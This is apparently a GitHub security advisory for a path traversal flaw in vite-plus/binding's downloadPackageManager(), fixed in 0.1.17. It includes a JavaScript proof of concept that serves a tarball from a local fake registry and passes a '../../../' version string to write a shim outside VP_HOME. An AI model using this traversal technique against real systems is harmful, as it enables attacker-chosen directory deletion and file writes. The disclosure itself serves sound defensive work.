GHSA-33r3-4whc-44c2 Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME

• npm vite-plus: < 0.1.17 → fixed in 0.1.17

Summary `downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager//` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location. Details The public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version. That value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+: 1. computes the final target directory from the raw `version` string, 2. removes any pre-existing directory at that target, 3. renames the extracted package into that location, and 4. writes executable shim files there. Because the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`. PoC ```js import fs from "node:fs"; import http from "node:http"; import os from "node:os"; import path from "node:path"; import { downloadPackageManager } from "vite-plus/binding"; const tgz = Buffer.from( "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=", "base64", ); const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-")); const version = "../../../vite-plus-escape"; const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version); const escapedInstallDir = path.join(escapedRoot, "pnpm"); process.env.VP_HOME = vpHome; const server = http.createServer((req, res) => { res.writeHead(200, { "content-type": "application/octet-stream" }); res.end(tgz); }); await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); const { port } = server.address(); process.env.npm_config_registry = `http://127.0.0.1:${port}`; const result = await downloadPackageManager({ name: "pnpm", version, }); server.close(); console.log("VP_HOME =", vpHome); console.log("installDir =", result.installDir); console.log("escaped =", escapedInstallDir); console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm"))); // installDir is outside VP_HOME, and /pnpm/bin/pnpm is created ``` Impact A caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root. Mitigating factors • Normal CLI usage is not affected. All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`. • The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string. • No known downstream consumers pass untrusted input to this function. • Exploitation requires the attacker to already be executing code in the same Node.js process.